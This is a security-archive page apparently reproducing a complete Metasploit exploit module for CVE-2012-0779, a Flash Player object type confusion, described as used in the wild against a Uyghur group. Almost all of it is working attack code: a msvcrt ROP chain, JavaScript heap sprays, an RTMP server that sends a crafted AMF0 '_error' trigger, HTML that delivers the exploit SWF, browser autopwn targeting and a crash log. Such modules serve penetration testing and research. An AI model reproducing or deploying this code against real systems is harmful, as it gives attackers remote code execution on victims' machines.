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Adobe Flash Player Object Type Confusion

Adobe Flash Player Object Type Confusion
Posted Jun 23, 2012
Authored by sinn3r, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Adobe Flash Player. By supplying a corrupt AMF0 "_error" response, it is possible to gain arbitrary remote code execution under the context of the user. This vulnerability has been exploited in the wild as part of the "World Uyghur Congress Invitation.doc" e-mail attack. According to the advisory, 10.3.183.19 and 11.x before 11.2.202.235 are affected.

tags | exploit, remote, arbitrary, code execution
advisories | CVE-2012-0779, OSVDB-81656
MD5 | 9cd671aa77da3f3cf74a6b14f286d9ce

Adobe Flash Player Object Type Confusion

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:method => "GetVariable",
:classid => "ShockwaveFlash.ShockwaveFlash",
:rank => NormalRanking, # reliable memory corruption
:javascript => true
})

def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player Object Type Confusion",
'Description' => %q{
This module exploits a vulnerability found in Adobe Flash
Player. By supplying a corrupt AMF0 "_error" response, it
is possible to gain arbitrary remote code execution under
the context of the user.

This vulnerability has been exploited in the wild as part of
the "World Uyghur Congress Invitation.doc" e-mail attack.
According to the advisory, 10.3.183.19 and 11.x before
11.2.202.235 are affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0779' ],
[ 'OSVDB', '81656'],
[ 'BID', '53395' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ]
],
'Payload' =>
{
#'Space' => 1024,
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Flash Player 11.2.202.228
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil,
'RandomHeap' => false,
'Offset' => '0x0'
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil,
'RandomHeap' => false,
'Offset' => '0x0'
}
],
[
'IE 8 on Windows XP SP3 with msvcrt ROP',
{
'Rop' => :msvcrt,
'RandomHeap' => false,
'Offset' => '238',
'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => "May 04 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]),
], self.class
)

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
else
return nil
end
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def nop
return make_nops(4).unpack("V").first
end

def ret(t)
return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
end

def popret(t)
return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
end

def get_rop_chain(t)

# ROP chains generated by mona.py - See corelan.be
print_status("Using msvcrt ROP")
rop =
[
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77c2dd6c,
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
0x00001000, # EBX
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")

code = ret(t)
code << rand_text(119)
code << rop
code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
code << payload.encoded
offset = 2616 - code.length
code << rand_text(offset)
code << [ t['StackPivot'] ].pack("V")
return code
end

def get_easy_spray(t, js_code, js_nops)

spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);


heap_obj.gc();
for (var z=1; z < 0x185; z++) {
heap_obj.alloc(block);
}

JS

return spray

end


def get_aligned_spray(t, js_rop, js_nops)

spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);
var nops = unescape("#{js_nops}");
var rop_chain = unescape("#{js_rop}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['Offset']});
var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);


while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);


heap_obj.gc();
for (var z=1; z < 0x1c5; z++) {
heap_obj.alloc(block);
}

JS

return spray

end

def exploit
@swf = create_swf

# Boilerplate required to handled pivoted listeners
comm = datastore['ListenerComm']
if comm == "local"
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end

@rtmp_listener = Rex::Socket::TcpServer.create(
'LocalHost' => datastore['RTMPHOST'],
'LocalPort' => datastore['RTMPPORT'],
'Comm' => comm,
'Context' => {
'Msf' => framework,
'MsfExploit' => self,
}
)

# Register callbacks
@rtmp_listener.on_client_connect_proc = Proc.new { |cli|
add_socket(cli)
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")
on_rtmp_connect(cli)
}

@rtmp_listener.start

super
end

def my_read(cli,size,timeout=nil)
if timeout.nil?
timeout = cli.def_read_timeout
end

buf = ""
::Timeout::timeout(timeout) {
while buf.length < size
buf << cli.get_once(size - buf.length)
end
}
buf
end

def do_handshake(cli)
c0 = my_read(cli, 1)
c1 = my_read(cli, 1536) # HandshakeSize => 1536
s0 = "\3" # s0
s1 = Rex::Text.rand_text(4) # s1.time
s1 << "\x00\x00\x00\x00" # s1.zero
s1 << Rex::Text.rand_text(1528) # s1.random_data
s2 = c1 # s2
cli.put(s0)
cli.put(s1)
cli.put(s2)
c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)
end

def on_rtmp_connect(cli)

begin
do_handshake(cli)
request = my_read(cli, 341) # connect request length

case request
when /connect/
rtmp_header = "\x03" # Chunk Stream ID
rtmp_header << "\x00\x00\x00" # Timestamp
rtmp_header << "\x00\x00\x71" # Body Size
rtmp_header << "\x14" # AMF0 Command
rtmp_header << "\x00\x00\x00\x00" # Stream ID

# String
rtmp_body = "\x02" # String
rtmp_body << "\x00\x06" # String length
rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error
# Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number
# Array
rtmp_body << "\x0a" # AMF Type: Array
rtmp_body << "\x00\x00\x00\x05" # Array length: 5
# Array elements
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
# Crafter Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call
# Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
# Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
# Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
# Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number

trigger = rtmp_header
trigger << rtmp_body

cli.put(trigger)
@rtmp_listener.close_client(cli)
end
rescue
ensure
@rtmp_listener.close_client(cli)
remove_socket(cli)
end

end

def cleanup
super
return if not @rtmp_listener

begin
@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
if @rtmp_listener.kind_of?(Rex::Socket)
@rtmp_listener.close
@rtmp_listener.stop
end
@rtmp_listener = nil
rescue ::Exception
end
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end

print_status("Client requesting: #{request.uri}")

if request.uri =~ /\.swf$/
print_status("Sending Exploit SWF")
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end

p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

if not my_target['Rop'].nil?
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
js = get_aligned_spray(my_target, js_rop, js_nops)
else
js = get_easy_spray(my_target, js_code, js_nops)
end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"

if datastore['RTMPHOST'] == '0.0.0.0'
rtmp_host = Rex::Socket.source_address('1.2.3.4')
else
rtmp_host = datastore['RTMPHOST']
end

rtmp_port = datastore['RTMPPORT']

html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="test" width="1" height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{swf_uri}" />
<param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"
<embed src="#{swf_uri}" quality="high"
width="1" height="1" name="test" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer"
FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">
</embed>

</object>
</center>

</body>
</html>
|

html = html.gsub(/^\t\t/, '')

print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

def create_swf
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0779.swf" )
fd = ::File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close

return swf
end

end

=begin

* Flash Player 11.2.202.228

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????

0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
104b1b30 53 push ebx
104b1b31 ffd0 call eax

=end

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